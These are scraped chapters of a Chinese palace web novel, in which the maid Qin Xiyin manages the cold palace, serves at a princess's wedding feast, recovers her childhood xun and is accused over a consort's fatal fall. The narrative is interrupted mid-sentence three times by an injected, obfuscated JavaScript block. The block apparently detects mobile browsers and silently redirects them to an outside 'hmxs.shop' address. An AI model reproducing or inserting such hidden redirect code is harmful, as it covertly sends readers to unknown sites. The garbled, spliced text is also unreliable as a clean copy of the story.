秦惜音考虑了一下,道:“这样吧,我在冷宫专门开辟几间屋子,供你们做工用。你们每天定点进去,把门锁上,等到了晚上休息的时候,再一起出来。这样,就不怕疯子们进去打扰了。 唯一的缺点是,你们不能随时出来走动了。” 大家都说道:“没问题,最重要的是保护好原材料和商品。” 秦惜音接着说道:“我也会尽快治好那些疯子的,大家放心。” 事情在按照期望的方向推进,秦惜音心里充满了希望,心情也越来越好。 不知不觉,第一个十天计划结束了,秦惜音验收大家的成果。 第一个十天计划,是要宫人们把冷宫打扫干净。 秦惜音仔细检查了,发现大部分宫人都把工作完成得很好。 只有太监小叶子负责的区域,不算很干净。这也难怪,这个小叶子,心思不在正事上,一天到晚窥视秦惜音,能把事干好才怪了。 秦惜音把宫人们聚集起来,说道:“第一个十天计划圆满结束,大家表现得都很好。但是小叶子打扫得不到位,这个月的工钱扣十文,充公。” 小叶子不满道:“这些天,我都仔细把自己的区域打扫干净了,不能扣我钱!” “你负责的区域并不够干净,不信你可以去看看冷宫的其他区域,对比一下。罚你重新打扫,直到干净为止。如果不知道怎么才能彻底打扫干净,可以问我或问其他人。” “我不服!” “拒不认错,再罚五文钱。” “我……” 小叶子不敢再说话了,只能愤愤不平地看向地面,不看秦惜音。 秦惜音高声说道:“诸位,我处事公平公正。只要你们按时完成我交代的任务,我不会亏待你们。如果有偷奸耍滑的,我也会秉公惩罚。希望大家引以为戒。” 几个年轻宫人都道:“谨遵惜音姑娘吩咐。” 福公公笑呵呵地看着秦惜音,眼中尽是赞许之意。 古嬷嬷有些不屑地看着秦惜音,但也没说什么。 秦惜音继续说道:“好,接下来,制定第二个十天计划。接下来的十天,大家除了要维持冷宫的卫生外,还要负责给病人们熬药、晒被子等,争取多治好几个病人。 病人少了,对我们也有好处。否则,我们一直跟一群病人生活在一起,难免会被传染。 还有一件事,谁有种地的经验吗?” 一向不怎么说话的宫女东风开口了:“我小时候种过地,十几岁时才进宫当宫女的。” “那太好了。我打算在冷宫种植一些药材和蔬菜,我已经向郁太医要了种子。冷宫里也有荒废的菜园,在前十天的时候打扫出来了。 接下来的一段时间,你就专门负责种药材和蔬菜吧,其他活可以少做一些。” 东风点头:“好的。” 秦惜音把紫苏、艾草、生姜、小葱、青菜等作物的种子交给了东风,让她随便种。 紫苏、艾草、生姜、小葱,都是治疗风寒感冒的常用药物,自己种一些,以后冷宫的人再感染风寒时,就能随时治疗了。 即便没有生病,平时多用艾草泡泡脚,也可以增强体质,少生病。 其中紫苏、生姜还可以用来煮糖水,比如紫苏饮、红糖姜茶等。 冷宫也有个小厨房,只是缺少薪柴、调味品等,很少使用。 等以后公账上有钱了,也可以用小厨房做些蔬菜,给冷宫众人补补身体。 如果东风真能把药材和蔬菜种出来,用场很大。 东风看着手里的种子,露出了微笑。 这是秦惜音第一次见她笑。 也许,这些种子让她想起了小时候在地里劳作的时光,那时候她还跟父母家人生活在一起,虽然清贫,但无忧无虑。 东风握紧了种子,对秦惜音道:“惜音姑娘,我一定会把这些种子种出来的。” 秦惜音点头:“嗯,辛苦你了。” 安排好第二个十天计划,秦惜音宣布散会。 没过一会,来了个老熟人,是太后身边的一等宫女入夏。 秦惜音赶紧起身迎接,问道:“入夏姐姐怎么来了?” 入夏笑道:“五天后,是庐陵长公主的婚期,到时候会在宫里举办一场婚宴。太后说让你也去伺候,这样还能顺便吃点好吃的。” 秦惜音惊喜道:“那太好了,我可许久没吃过什么好东西了。” 入夏打量了冷宫几眼,夸赞道:“这里气象一新,还真跟以前不一样了。惜音,你很厉害。” “我只是稍微打扫了一下而已。” “嗯,加油吧。” 两天后,徐二娘托人运进来一批原材料。其中有食材、有布匹、有笔墨纸砚、有空白扇子,凡是秦惜音提到的,基本上都运来了。 秦惜音十分开心,立刻安排那些有技能的人各自行动。 会做糖水的领取食材,会画扇子的领取空白扇子,会做衣服、做背包的领取布匹,等等。 一时间,那些健康的人各自都有了工作,激动不已,认真地做起了手工。 她们把自己关在封闭的房间里,免得被疯子们干扰。 她们无需监工,每个人都很投入。因为这是给自己干活,所得的收入自己能得到一大半。 过了一会,郁太医带着自己的几个朋友,一起来给冷宫里的疯子们会诊。 秦惜音让宫人们把所有的疯子都带到同一间屋子,其中有暴力倾向的疯子就绑在椅子上,这样比较方便大夫们诊治。 一群疯子被关在一起,有的在乱叫,有的在哭,也有的笑个不停,还有的拿头撞桌子,场面嘈杂又混乱。 秦惜音颇感头痛,但拿几个太医却像是见惯了似的,并没有焦躁,反而很平静地站在屋子中央,观察着这些疯子。 郁太医对秦惜音道:“惜音姑娘,这里交给我们吧。等我们会诊完毕,再把结果告知你。” “好。” 几名太医给这些疯子们把脉、会诊,足足用了两天时间。 两天后的傍晚,郁太医对秦惜音道:“这里所有的疯子,我们都已经反复把脉观察过了,不过她们的病症各不相同,我们还需要一点时间商讨治疗方案,估计需要两三天。 等有了明确的治疗方案,我再跟你细说吧,包括要购买什么草药,要采用什么疗法之类的。” 秦惜音点头:“嗯,辛苦几位太医了。” 第二天,便是庐陵长公主的出阁之日。 宫宴是在晚上,不过秦惜音一大早就要过去帮忙了。 公主出阁,诸事繁琐,宫人们进进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751553|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出出的,十分忙碌。 秦惜音负责盘点公主的嫁妆,看有没有少了什么。 让秦惜音负责这个活,是因为她从小接触过不少的金银财宝,能很快辨认出某件首饰叫什么,是否有所损坏。 这些嫁妆之前已经清点过好几次,今天不过是做最后一道保险。 太后只有两个女儿,这次嫁女,几乎把自己三分之一的宝物都陪嫁了出去。 饶是秦惜音见多识广,今天也被这些珍宝闪耀得眼花缭乱。 庐陵长公主一大早就梳妆完毕,穿着大红色绣金凤嫁衣,梳着高鬟望仙髻,戴着两对金点翠镶多宝簪,两对镶五色宝石金步摇,两对镶白玉蝴蝶钗,显得华贵端方。 只是,公主的神色却有些不耐烦:“哎呀,我还要顶着这身行头多久?” 婢女说道:“公主,只需要今天这样穿戴,等明天就可以少戴一些饰品了。” “宫宴不是晚上举行吗?为什么我早上就要准备好?” “公主,新娘子就是要早起准备好的,大家都一样。您看,您今天多美啊。” 婢女把菱花镜捧到公主面前,公主看着自己的模样,这才高兴起来。 秦惜音身边的婢女们也窃窃私语:“你看,公主好像比往日更美了。” “是啊,新娘子哪有不美的。我也希望有一天能穿上华丽的嫁衣,嫁给心爱之人。” “我也是。” 这时,有个婢女问秦惜音:“惜音姐姐,你有没有幻想过自己穿上嫁衣时的样子?” 秦惜音笑道:“我不怎么想这些。” 不过,秦惜音倒是幻想过自己穿上女官的官服时的模样。 庐陵长公主坐不住,想找几个人陪她出去逛逛。 她环视屋内,看见了秦惜音,便指了指她,道:“惜音,你和玉栀陪我出去逛吧。” 玉栀是庐陵长公主的贴身侍女,为人忠诚没主见,公主说什么就是什么,从不反驳。 秦惜音劝道:“公主,您好不容易打扮好了,要是随意走动,把发髻和妆容弄乱了怎么办?” “没事的,难道驸马还敢挑我的毛病?总之,我可不能在屋子里待上一整天,否则会生锈的!” 说着,庐陵长公主就牵着秦惜音和玉栀的手,往外走去。 没走多远,就迎面遇见了皇帝。 皇帝身边还跟着瑾妃和杨昭仪。 皇帝对庐陵长公主笑道:“皇妹,今天是你大喜的日子,你怎么还出来乱逛?一点都不像个新娘。” 庐陵长公主道:“新娘是什么样子?一定要规规矩矩的吗?我偏要跟其他新娘不一样。” “好吧,随你的便。” “皇兄,您是来看我的吗?” “是啊,今天是你在宫里的最后一天,皇兄特意推了公务,过来陪你。” “那可太好了,如果不是我成亲,你还没法休息呢。你是不是应该好好感谢我?” 皇帝失笑:“那是自然。你想要什么?” “皇兄你手里这把扇子,好像价值不菲啊。” 说着,庐陵长公主就夺过了皇帝手里的折扇。 皇帝笑道:“算你眼尖,这扇子是几百年前的古物,朕都只有一把。” “现在您有零把。” “……” 27. 旧物重逢 皇帝笑着摇了摇头,对这个古灵精怪的妹妹也没了办法。 这时,皇帝突然注意到了旁边的秦惜音,眼中闪过惊艳之色。 秦惜音心中一慌,赶紧低下了头。 皇帝问道:“你叫什么名字?也是公主的侍女?朕怎么没见过你?” “回陛下,奴婢叫惜音,是太后娘娘身边的宫女。” 皇帝点了点头,没再说话。 而皇帝身后的瑾妃和杨昭仪,都对秦惜音投来防备、警告的目光。 秦惜音暗暗叫苦,没想到自己无意间被公主叫出来,也能惹上祸事。 还好皇帝要去看望太后,也没有多做停留。瑾妃和杨昭仪也跟着皇帝走了。 秦惜音这才感觉到自己身上的压迫感消失了。 庐陵长公主回头,对秦惜音笑道:“看来你也要做新娘子咯。” 秦惜音赶紧说道:“公主别开玩笑了。” “我可没开玩笑,我觉得皇兄刚才看上你了。要不趁我还没出宫,我把你举荐给他?” “不用了,公主,奴婢志不在此。” “真的吗?” “真的。” “这就怪了,我皇兄哪点配不上你?” “是奴婢资质鄙陋,配不上皇上。总之,奴婢对自己的未来另有打算,是绝对不愿成为妃嫔的。” “原来是这样,那我就不勉强你了。可是我不明白,有成为主子的机会,你为什么不要?” “奴婢想通过自己的努力提高地位,而不是靠嫁人。” 庐陵长公主点头道:“好吧,这想法倒挺新鲜的。” 接着,秦惜音继续陪庐陵长公主逛花园。 直到中午时分,庐陵长公主才回去吃饭。 贴身宫女们都叫她少吃一点,但庐陵长公主根本不听,仍旧自顾自地吃下许多食物,婚服都被撑得有点紧。 宫女们想笑又不敢笑,只能把公主的婚服松了松。 托公主的福,秦惜音也留在公主的房间里吃饭,吃了顿好的。 她感动得都快哭了,毕竟好久没有吃上这样的饭菜了。 吃完午饭后,公主跟几个关系好的侍女一起打牌,说是其他人累了的话可以先休息。 公主的其他侍女们都去午睡了,秦惜音也跟着去。 今天她临时来帮忙,倒获得了难得的休息时间。 自从她去管理冷宫,每天都忙得脚不沾地的,已经有很多天没午睡了。 一觉醒来,神清气爽。 公主又命自己身边的嬷嬷给所有帮忙的宫人发红包,秦惜音领到了五两银子的红包。 对现在的秦惜音来说,这可是一笔大钱。不论是用在自己身上,还是用在冷宫,都能有很大用处。 接着,秦惜音又跟着其他宫人们干了点杂活。 很快就到了晚宴时分。 宫人们在晚宴上是不能吃东西的,所以尚食局的人提前给秦惜音等人送来了晚饭,让她们吃了之后再去宴席上伺候。 虽然只是一顿简餐,但菜品也很丰富,营养均衡,一看就很好吃。 更让秦惜音惊喜的是,这次来送餐的人员,其中有一个就是松月。 秦惜音借机跟松月说话,询问道:“今天的晚饭是你做的吗?” 松月摇头道:“不是。我做的饭菜还是被女官们逼着倒掉了。不过,今天她们允许我来给太后殿的宫人们送餐,这也算一件正事。以后,我慢慢地接触到这些重要的活,地位也会上升。总有一天,我能正式给贵人们做菜的。” “嗯,一定会的。” 今天日子特殊,恰逢庐陵长公主出嫁。在今天能轮到来太后这里送餐,也不是一件容易的事。 这说明松月正在逐渐熬出头。 秦惜音吃完了饭,就来到宴会厅伺候。 今天晚宴宴请的是一些王公贵族,还有京中三品及以上的官员。 秦惜音今天仍然是负责上菜。 她想起上次这种场合,还是庐陵长公主选婿的时候。 那一天,她见到了高毅。 也不知道高毅怎么样了…… 今天这样的场合,高毅身为六品官员,肯定来不了。 秦惜音忽然觉得有一丝惆怅。 她把自己的心思隐藏起来,认真给各位官员上菜。 没过多久,她走到一个中年官员面前。这中年官员风度清正,仪容不俗,面色慈霭,还颇有深意地看了秦惜音几眼。 秦惜音有些惊讶,因为这种眼神像是看熟人家晚辈的眼神,但秦惜音并不认识这位官员。 这时,这中年官员小声说道:“你是惜音姑娘?” “是。” “本官是鸿胪寺卿高衡远,是高毅的父亲。” 秦惜音惊喜道:“原来您是高毅大人的父亲,奴婢不认得,失礼了。” “不用客气。今日的宫宴,小儿没法前来。不过他说,如果我在宴席上见到惜音姑娘,就转交一样东西给你。” “是什么?” 高衡远从衣袖中拿出一个黑陶做的埙。 秦惜音睁大了眼睛,不敢相信自己还能见到这个埙。 这个埙上用小篆刻了“惜音”两个字,是她十岁那年,父亲送她的生日礼物,乃是定窑烧制的精品。 秦家被抄家后,这些东西好像都被拍卖了。 高衡远把埙递到秦惜音手上,说道:“这是惜音姑娘的埙。几个月前,秦家的财物被拍卖时,高毅买了很多惜音姑娘的旧物,包括这个埙在内。其他物件都太大了,带不进来,这次只能把这个埙带给姑娘。 高毅说,以后有机会,他会把姑娘的旧物全部归还。只是现在不太方便,姑娘还在宫内当差,不能让姑娘落下一个私相授受的罪名。” 秦惜音把埙藏在衣袖里,激动不已。她想多问几句,但现在职责在身,她必须尽快给其他官员上菜。 因此,她只得匆匆对高衡远道:“高大人,替我多谢令公子。” 高衡远笑着点了点头,看秦惜音的目光似乎又多了几分亲切。 秦惜音一直往前走,但她心里还记挂着刚才的事。 高毅为什么会买下她的旧物?这么说,自己的古琴、筝,还有自己常戴的首饰,是不是都在高毅那里? 以后有机会,可以都向高毅买回来。 可是,高毅今天直接让父亲把埙送给秦惜音,好像也不是想要钱的样子。 那他为什么这么做? 也许,是因为他认识秦惜音的大哥,所以尽一份朋友之谊? 秦惜音来不及多想,思绪就被宴席上的轻歌曼舞打断了。 为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751554|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天的晚宴,教坊司排练了很多新的歌舞,正源源不断地表演。 秦惜音上完了菜,站到了太后身边,也欣赏起歌舞,大饱眼福。 晚宴结束后,驸马将庐陵长公主接走,宾客也都散了。 秦惜音本想去跟高衡远说几句话,但碍于在场的人太多,不太方便,也只能先回冷宫了。 忙了一天,秦惜音回房之后,倒头就睡。 不过,睡了半个时辰左右,她又醒了。 她拿出那个埙,看了一会,心绪起伏。 她本以为,自己以前的东西都一去不复返了,没想到还有重逢之日。 她想吹奏一曲,又怕吵到其他宫人,就走得远了些,吹奏了起来。 她吹的是《幽涧》,是前朝的名曲。 埙声古朴深沉,就像泥土的声音,厚重中带着一种安抚人心的力量。 她本来只是自娱自乐,没想到旁边的房门打开了,里面走出两个疯了的废妃。 大晚上突然见到两个疯子,秦惜音有点害怕。但她打量着那两个废妃应该认识自己,不会突然攻击自己,就定下心来,继续吹埙。 那两个废妃似乎是被埙声吸引出来的,她们没有发狂,而是安静地坐在秦惜音身边,认真地听着曲子。 她们的眼神以前是迷惘的,但此刻透露出一丝清明和纯真。 秦惜音觉得有些神奇,就多吹了两曲。 吹罢,那两个废妃还看着秦惜音。 秦惜音说道:“今天就吹到这儿了,你们快回去睡觉吧。下次再吹给你们听。” 那两个废妃似乎听懂了,乖乖走回自己房间睡觉去了。 秦惜音有些奇怪,因为那两个废妃平时疯得厉害,还经常大喊大叫。 也许是音乐让她们暂时安静下来了吧。 接着,秦惜音也去睡了。 两天后,郁太医又来了。 他对秦惜音道:“关于冷宫里这些疯子的治疗方案,我们已经讨论出来了。她们刚进宫时都是正常人,否则也通不过选秀。发疯原因应该都是受了重大刺激,突破了她们所能忍受的极限。 可以暂时采用服药加针灸的治疗方式,看能不能有所缓解。 她们虽然都是疯子,但表现在身体上的病症却各不相同。有的是肝气郁结,需要服用疏肝解郁的药物;有的是痰迷心窍,需要服用化痰开窍的药;有的是惊恐过甚,需要定惊安神;有的是阴阳失调,需要提升阳气,等等。 针对每一个疯子,都有各自的治疗方案。疯子人数太多,对症下药是一件比较繁琐的事情,还需要惜音姑娘仔细阅读她们的脉案,记住她们各自都应该怎么治,不要把彼此的药给搞乱了。 另外,环境和心情也至关重要。冷宫这种环境可以说是极其恶劣的,就算是正常人被关进来可能也会被逼疯,何况本就是疯子。 但是,她们都是被前几任皇帝或高位妃嫔贬进来的,也没法出去,只能尽量改善冷宫的环境了。 依我看,冷宫现在的环境已经不错了,姑娘还可以种点花,让废妃们心情愉悦。” 秦惜音神情凝重地点了点头:“我知道了,有劳几位太医。对了,前几天晚上我吹埙的时候,有两个疯子出来听了,而且她们的行为很正常,眼神也没那么疯了,不知道怎么回事?是音乐的原因吗?” 28. 飞来横祸 “对,音乐也有治疗的功能。姑娘可以演奏一些舒缓、空灵的音乐,或是一些欢快的乐曲。 不同的乐曲能对治不同的疾病,我那儿有一本《五音疗疾法》,下次带给姑娘,您可以研究一下。 不过,这不能作为主要的疗法,只能作为辅助。” 秦惜音喜出望外:“太好了,没想到以前学的乐器,现在还能派上用场。” “惜音姑娘多才多艺,记忆力也很好。我想,这些疯子肯定很快会病愈的。” “我也是这么想的。不过,她们都疯了好多年了,真的有治愈的希望吗?” “有的。她们以前得不到治疗,才会越来越疯。就像一匹脱缰的野马,只要有人拉住它的缰绳,它就能停止狂奔。” “嗯。” 秦惜音想把自己剩下的十两金子也送给郁太医作为诊金,郁太医坚决不收。 郁太医离开后,秦惜音仔细看了看那些疯子的脉案。 虽然每本脉案上字都很多,但写得条理清晰。认真看下去,并不难理解。 这密密麻麻的文字背后,都是那些疯子所受的苦难。 秦惜音拿出2两金子,派人添置了一些炉子和煤炭。 这样,每天都有十几个炉子同时煮药,就来得及给所有病人熬药了。 接下来的几天,又有几个轻症的病人恢复了,那些疯子也基本上有所好转。 轻症病人恢复后,或是加入做手工的行列,或是加入管理疯子的行列。大家各自有事做,就不会东想西想,脸上的笑容也多了。 秦惜音每天一有空就会吹埙。她会的曲子很多,也会根据郁太医赠送的《五音疗疾法》,来变换吹奏的曲目和音节。 每次她吹曲的时候,不仅健康的人爱听,疯子们也时常停止发疯,认真听着曲子。 每天的音乐时间,是冷宫中人集体放松的时间。 有些疯子本来是不认人的,但听了几次秦惜音吹的曲子,也认识秦惜音了。 秦惜音发出的指令,她们也能听一些。 这天,秦惜音干完活后,像往常一样坐在台阶上吹埙。 有几个废妃从房间里走出来,围坐在秦惜音身边,一声不吭,认真地听曲。 秦惜音已经习惯了,不再害怕,反而觉得自己在带一群孩子,对废妃们充满了关爱之情。 这会庭院里没什么人走动,只有一些燕雀飞来飞去。 秦惜音发现,古嬷嬷竟然蹲在左边的花坛那里除草,这倒有些新鲜。 古嬷嬷干活向来不勤快,就算是秦惜音分配下去的任务,古嬷嬷也会找年轻的宫人帮忙。 秦惜音念在她上了年纪,也从没有认真计较过。 没想到,今天古嬷嬷竟然主动干起了活,看起来心无旁骛的,简直是太阳从西边出来了。 不过,也许古嬷嬷是故意来秦惜音身边干活,好抓住秦惜音的什么错处。 秦惜音不管她怎么想,自顾自地吹着曲子。 谁知,没过一会,秦惜音忽然听到了什么东西断裂的声音。 接着,是“咚”的一声,一个人从高处摔了下来,掉在离秦惜音不远的地方。 那个人脑袋周围流血,一声不吭,也许是摔死了。 秦惜音吓了一大跳,周围的废妃们也都吓得尖叫。 为了阻止废妃们破坏现场,秦惜音让她们各自回房去。 可是,她们被吓坏了,已经听不懂秦惜音的话了,反而向前面那具尸体围了过去。 秦惜音赶紧大声叫道:“来人!来人!” 几个宫人和在屋子里做手工的人都出来了,见到眼前的场景,也是惊骇不已。 秦惜音吩咐她们:“你们先把这些疯子控制住,别让她们破坏现场,我先查看一下情况。” 宫人们和其他健康的人纷纷把那几个疯子往回拉,这才控制住了局面。 秦惜音大着胆子走到那具尸体面前,发现那具尸体也是一位太妃,姓董,今年大概六十多岁。 她整个人趴在地上,头部撞击到了一块石头,已经没气了。但她的眼睛还睁得大大的,似乎有些不甘心。 旁边散落着一些老旧的木头,像是断裂的栏杆。 秦惜音抬头看去,见董太妃是从旁边的高台坠落的,高台的栏杆确实断了一截。 这座高台以前是观景台,所以修建得比一般建筑要高一些。即便下面没有石头,人从这儿掉下去也是凶多吉少。 更何况,董太妃的头刚好碰在了石头上。 秦惜音记得,之前自己检查冷宫建筑的时候,发现那座高台上的栏杆有点陈旧,不太安全,就把入口处封上了,不让人上去。 那董太妃是怎么上去的? 秦惜音跑到高台的入口处,发现原先缠绕在入口栏杆处的布条已经被破坏了,任何人都可以轻易地走上去。 秦惜音皱了皱眉。 董太妃是疯子,身边也没有尖锐的物品,她是怎么割断布条,走上高台的? 她又为什么要走上去? 而且,之前秦惜音只是觉得高台的栏杆有点松动,但那是整体的松动,按理说不会有某一截栏杆突然从中间断裂。 这到底是怎么回事…… 小太监双喜、宫女子规等人纷纷围了上来,问道:“惜音姐姐,怎么办啊?” 秦惜音想了想,道:“现在也只能先把这桩命案上报给瑾妃娘娘了,毕竟她管理六宫……等等,古嬷嬷呢?” 秦惜音忽然发现,古嬷嬷不见了。 刚才太忙乱了,都没注意古嬷嬷。 没想到,过了一会,有一大群人气势汹汹地闯入了冷宫。 为首的是一个穿得很华贵,但凶神恶煞的嬷嬷。 秦惜音认得她,她是瑾妃身边的方嬷嬷。 而在方嬷嬷身后,除了有一群宫女太监外,还站着古嬷嬷。 古嬷嬷眼神里闪着幸灾乐祸的光,秦惜音的心沉了下去,暗道不好。 果然,方嬷嬷厉声道:“惜音,你涉嫌害死冷宫太妃董氏,瑾妃娘娘让我带你过去问话。” 秦惜音道:“禀方嬷嬷,董太妃是自己摔死的,不是我害死的。” “有什么话,等见了瑾妃娘娘再说吧。” 秦惜音被一群人推搡着往前走, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751555|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中充满了不安。 不一会儿,一行人来到了瑾妃宫里。秦惜音被人按着跪下。 瑾妃坐在紫檀木八仙椅上,不紧不慢地打量了秦惜音几眼,声音中透着冷意:“惜音,你不小心害死了冷宫太妃董氏,你可认罪?” 秦惜音辩解道:“瑾妃娘娘,董太妃之死,是个意外,跟奴婢没关系啊。” “哦?没关系?古嬷嬷,当时你也在现场,你说说吧。” 古嬷嬷也跪了下来,说道:“回瑾妃娘娘,惜音确实不是有意害死董太妃的。不过,当时惜音正在吹埙,董太妃大概是受到乐曲的吸引,才不自觉地朝惜音走去。 但董太妃是疯子,她不知道在高台上不能往外走,触碰到了栏杆。而栏杆年久失修,刚好断裂,造成她摔下高台而死亡。 此事,惜音至少要负一半的责任。首先,她吹埙的时候,没有注意到高台上的董太妃,没有及时让她下来;其次,她身为冷宫的主管,却没有及时修缮破损的栏杆,致使董太妃坠楼殒命。 依奴婢看,死罪可免,但适当的惩罚还是必要的。” 秦惜音皱着眉头听完古嬷嬷的讲述,她心中很厌恶古嬷嬷,但还是耐着性子说道:“古嬷嬷,当时你正在低头除草,是背对着我和董太妃的。你怎么把事情经过说得这么清楚,就像是亲眼看见一样?” 古嬷嬷道:“因为我除草累了,就转过身休息一下,无意间见到了董太妃坠楼的场景。” “即便如此,此事疑点颇多。董太妃为何会倚靠在栏杆上,造成坠楼,还属未知,你怎么把责任推到我的身上?” “那些疯了的太妃都喜欢听你吹埙,你一吹埙她们就想靠近你,这是冷宫众人有目共睹的。瑾妃娘娘若是不信,可以随便审问冷宫其他人。” 瑾妃点头道:“来人,去冷宫随便找几个人来。” 方嬷嬷应道:“是。” 秦惜音接着反驳:“瑾妃娘娘容禀,奴婢一早就发现那座高台上的栏杆松动,曾向奚官局报修,但奚官局并未及时派人修缮。为了不让人上去,奴婢在入口处缠绕了很多布条,并放置了一块‘禁止入内’的牌子。 一般情况下,一个疯了的太妃是上不去的,也想不到用刀划破布条。更何况,董太妃手里也没有利器。 可是今日不知为何,那些布条被人用刀割断了,董太妃才能上去。 而且,高台上的栏杆只是整体有些老化和松动,从中间断裂是不太可能的。 据奴婢判断,这事应该是被其他人做的手脚。 再说,就算董太妃要听奴婢吹埙,她可以直接走到奴婢跟前听,为何要登上高楼,再从高楼往前走呢?还请瑾妃娘娘彻查。” 瑾妃冷笑道:“哼,你倒是伶牙俐齿。你是冷宫的主管,谁割破了布条,董太妃为何会登上高楼,难道你一无觉察?那你这主管是摆设吗?你的眼睛、耳朵是不好使了吗?” “瑾妃娘娘恕罪,奴婢只有一双眼,一对耳朵,很多事情也没法第一时间发现。奴婢确实有失职之罪,但董太妃的死一定有其他原因,还请娘娘三思。” “哼,且等冷宫里其他人来了再说。” 29. 目击证人 过了一会,方嬷嬷从冷宫带来了几个宫人和几个废妃。 瑾妃问她们:“惜音吹埙的时候,冷宫里的那些疯子是不是都喜欢围绕在她身边?” 一个废妃道:“是的,就连我们也很爱听她吹曲呢。” 其他人也给出了类似的回答。 瑾妃一拍桌子,对秦惜音怒目而视:“现在你还有什么好说的?董太妃分明是被你的埙声吸引,才不由自主地走出了栏杆外,造成坠楼事故。你虽不是故意害死人,但活罪难逃,本宫罚你……” 这时,冷宫里的宫人和废妃们都为秦惜音求情,还有几个人说愿意替秦惜音受罚。 瑾妃有些犹豫,而秦惜音感动不已。 秦惜音对瑾妃道:“瑾妃娘娘,奴婢死不足惜,但这件事如果真是另有隐情,不把幕后黑手揪出来,恐怕六宫众人都难以安心。今日那人设局害我,明日不知会害谁?还请娘娘三思。 奴婢愿戴罪立功,彻查真相。如果主要原因真的在奴婢,奴婢也愿意接受任何处罚。” 瑾妃想了想,道:“可以,限你三天时间内查清真相,否则处罚加倍。另外,为防止你毁灭证据,本宫会派一个人跟着你。” 秦惜音环顾四周,说道:“瑾妃娘娘,可否派月季姑姑跟着我?月季姑姑武功高强,精神也比常人强些。” 月季惊讶地看了秦惜音一眼,但并未出声反驳。 瑾妃本来就是要找个人监视秦惜音,月季是暗卫出身,再好不过了。 因此,瑾妃同意了,让月季寸步不离地跟着秦惜音。 月季道:“谨遵娘娘吩咐。” 秦惜音带着冷宫的人朝冷宫走去,月季跟在秦惜音身后。 有月季在,秦惜音反而更安定了一些。 她跟月季打过交道,知道月季是直肠子,不会搞些弯弯绕绕的事情。 而且,之前月季陷入荀白鹤杀人案,也是秦惜音找到真凶,还了月季清白。 这么算来,秦惜音也算帮过月季。 回到冷宫后,秦惜音让大家各干各的,远离尸体和那座高台。 很快,众人都散了,案发现场只剩下秦惜音和月季。 秦惜音道:“月季姑姑,我要在这里调查一下。” 月季点头:“你随意吧。” 说着,月季就站在不远处,一直看着秦惜音。 秦惜音心里没鬼,也不怕被人监视,当下就摒除所有杂念,检查起了尸体。 她大致翻了一下,感觉董太妃的死因就是坠楼,没有其他伤口。 不过,对于验尸,她并不精通。 于是,她把双喜叫来,让他去太医院请郁山青太医来帮忙验尸。 郁太医学过验尸,所以之前荀白鹤一案中,也是郁太医验尸的。 双喜答应着去了。 趁着郁太医还没来,秦惜音走上高台看了一下。 现场没有留下什么痕迹,但是栏杆断裂处像是被割断的。 她又走回入口处,查看布匹被割断的裂痕,但也看不出什么来。 秦惜音回忆了一下,事情发生的时候,现场除了古嬷嬷,就只有几个疯了的太妃。 问疯子肯定不行,疯子的话不能作为证据。 而古嬷嬷又很明显想让秦惜音获罪,也没法问她。 因此,秦惜音只能把希望寄托在冷宫那群正常人身上了。 十几个废妃、宫女们分别在两个房间里做手工,秦惜音分别进了两个房间,询问她们在事发时有没有看见什么。 有个叫如梦的宫女说道:“我好像看见了……我是负责给大家煮糖水的,今天起得很早,去生火炉了。回来拿食材的时候,我看见高台上有个人,正在往前走,我就站着看她。 我发现高台上的人是董太妃,她伸着双手,开心地笑着。她一直往前走,走到栏杆边缘时,我以为她会被栏杆拦住。 没想到……栏杆破裂了,她也掉了下来。整件事发生得太快了,我来不及反应。 如果当初我叫她一声,也许她被我吸引了注意力,就不会继续往前走了……” 秦惜音安慰她道:“别自责了,董太妃是疯子,就算你叫她,她也未必会停下。不过,她真的是伸着双手、开心地往前走的吗?” 秦惜音觉得这个行为很奇怪。 如梦道:“是的,而且她的眼睛一直盯着下面……” 秦惜音的心跳得很快,一股巨大的悲伤笼罩在她心头。 秦惜音觉得,董太妃当时很有可能是听见了自己的埙声,觉得很喜欢,才会面带微笑往下看。 董太妃可能只是想靠近秦惜音,没想到就坠楼了。 秦惜音刚安慰别人不要自责,可她现在却自责不已。 她觉得自己失去了浑身的力气,瘫坐在椅子上,用手支撑着头。 这时,有个太妃安慰秦惜音道:“惜音,你先别难过。依我看,就算董太妃是因为你的埙声而坠楼的,你的责任也很小。责任最大的,是引导她上高台的人。高台入口既然被封住了,董太妃是怎么上去的? 别说她没有刀,就算有刀,她是个疯子,切割起东西也不可能太整齐。刚才你被瑾妃叫走时,我去高台的入口处看过。 那些布条断得很整齐,肯定是一个正常人割的。 